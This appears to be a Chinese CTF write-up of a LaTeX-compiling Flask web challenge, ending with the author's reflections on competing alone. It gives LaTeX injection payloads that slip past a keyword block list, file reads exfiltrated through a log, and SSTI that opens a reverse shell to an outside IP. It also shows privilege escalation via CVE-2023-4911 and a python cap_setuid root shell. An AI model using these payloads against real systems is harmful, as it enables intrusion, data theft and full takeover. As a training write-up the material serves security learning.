\newwrite\outfile
\openout\outfile=testfile
\write\outfile{safe6}
\closeout\outfile

bypass的方式,类似php免杀了:

\def \imm {\string\imme}
\def \diate {diate}
\def \wwrite {wwrite}
\def \args {args}

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile

\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file

用这个可以绕所有的黑名单:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LaTeX%20Injection/README.md

看了下应该是^^ascii的意思

接下来的思路是写app.log带出数据

读取main.py

\documentclass{article}
\begin{document}

\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
    \imm^^65diate\read\infile to\line
    \imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}

编译后访问 /log 带出回显

import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename

app = Flask(__name__)

if not app.debug:
    handler = logging.FileHandler('app.log')
    handler.setLevel(logging.INFO)
    app.logger.addHandler(handler)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

os.makedirs(UPLOAD_FOLDER, exist_ok=True)

ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def compile_tex(file_path):
    output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
    try:
        subprocess.check_call(['pdflatex', file_path])
        return output_filename
    except subprocess.CalledProcessError as e:
        return str(e)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)

    if file and allowed_file(file.filename):
        content = file.read()
        try:
            content_str = content.decode('utf-8')
        except UnicodeDecodeError:
            return 'File content is not decodable'
        for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']:
            if bad_char in content_str:
                return 'File content is not safe'
        file.seek(0)
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        return 'File uploaded successfully, And you can compile the tex file'
    else:
        return 'Invalid file type or name'


@app.route('/compile', methods=['GET'])
def compile():
    filename = request.args.get('filename')

    if not filename:
        return 'No filename provided', 400

    if len(filename) >= 7:
        return 'Invalid file name length', 400

    if not filename.endswith('.tex'):
        return 'Invalid file type', 400

    file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    print(file_path)
    if not os.path.isfile(file_path):
        return 'File not found', 404

    output_pdf = compile_tex(file_path)
    if output_pdf.endswith('.pdf'):
        return "Compilation succeeded"
    else:
        return 'Compilation failed', 500

@app.route('/log')
def log():
    try:
        with open('app.log', 'r') as log_file:
            log_contents = log_file.read()
            return render_template('log.html', log_contents=log_contents)
    except FileNotFoundError:
        return 'Log file not found', 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000, debug=False)

发现可以重写 log.html 进行ssti

重开一个靶机弹shell即可

\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f115.236.153.177^^2f30908 0>&1"').read()}}}
\closeout\t
\newpage
foo
\end{document}

image-20241001215149967

image-20241001220234647

我flag呢,看来得提权

/flag的内容:

HOSTNAME=9711508053a5
PYTHON_VERSION=3.7.17
PWD=/tmp
PYTHON_SETUPTOOLS_VERSION=57.5.0
HOME=/root
LANG=C.UTF-8
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421
DTERM=xterm
SHLVL=1
PYTHON_PIP_VERSION=23.0.1
PYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/jerrywww:/home/www
OLDPWD=/app/
ez_tex_=/usr/bin/cat

注意到里面有个jerrywww账户,预期解是扫出22端口,尝试爆破jerrywww的密码,权限和 www 是一样的(?

怎么爆呢,我不会(

看了下wm和s1um4i两个战队的wp,都是提权各显神通

提权1:CVE-2023-4911

看一下glibc的版本

image-20241001220901902

GLIBC 2.36-9+deb12u1,稳辣

验一下有没有CVE-2023-4911,参考:https://github.com/ruycr4ft/CVE-2023-4911

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

image-20241001221210422

wget下载我们本地的exp到靶机上

直接在靶机内pip下pwntools依赖,然后网络超时,尝试编译exp,编译失败报错(

也可以用这个项目试试:https://github.com/RickdeJager/CVE-2023-4911

靶机只有半小时测起来有点麻烦(


提权2:capabilities提权

参考:https://www.cnblogs.com/f-carey/p/16026088.html#tid-G6FGpn

查找设置了capabilities可执行文件

$ getcap -r / 2>/dev/null
/usr/bin/python3.11 cap_setuid=ep

直接打payload:

python3.11 -c 'import os; os.setuid(0); os.system("/bin/sh")'

flag在/root/sctf

image-20241001221835513


问卷

SCTF{SYC_HAvE_a-G00d_t1me!!}


X:D

孤身挑战xctf分站赛,web难度强如猛虎,拼尽全力三血它!

自己一个人光是一道 havefun 就花了接近一天的时间来解决它,六题web的话想必要花至少六天的时间才能打完(

本来第二天有早七的,但是凌晨一点半的时候ruby反序列化打进去弹shell了直接给我整兴奋了,但是没找到flag,鉴于实在是太晚了只好作罢

但是这样子真睡不着了((

Screenshot_2024-09-29-17-54-18-154_com.mi.health

结果第二天6点就醒了,根本不困,继续找flag😡

最后也是在八点多的时候找到了flag拿下三血

至于其它的题目,时间真不够我解的啊,时间停止吧,你是多么美丽😭

(什么你问我校队其它人呢,另外几位要跟着联队打,然后23级的后辈们真挺青黄不接的,于是这种比赛对我来说基本上是web个人挑战赛了)


总体上还是一次比较振奋自己(士气)的战绩,稍微撼动了一下校队打不了大比赛的固有印象

20241001202709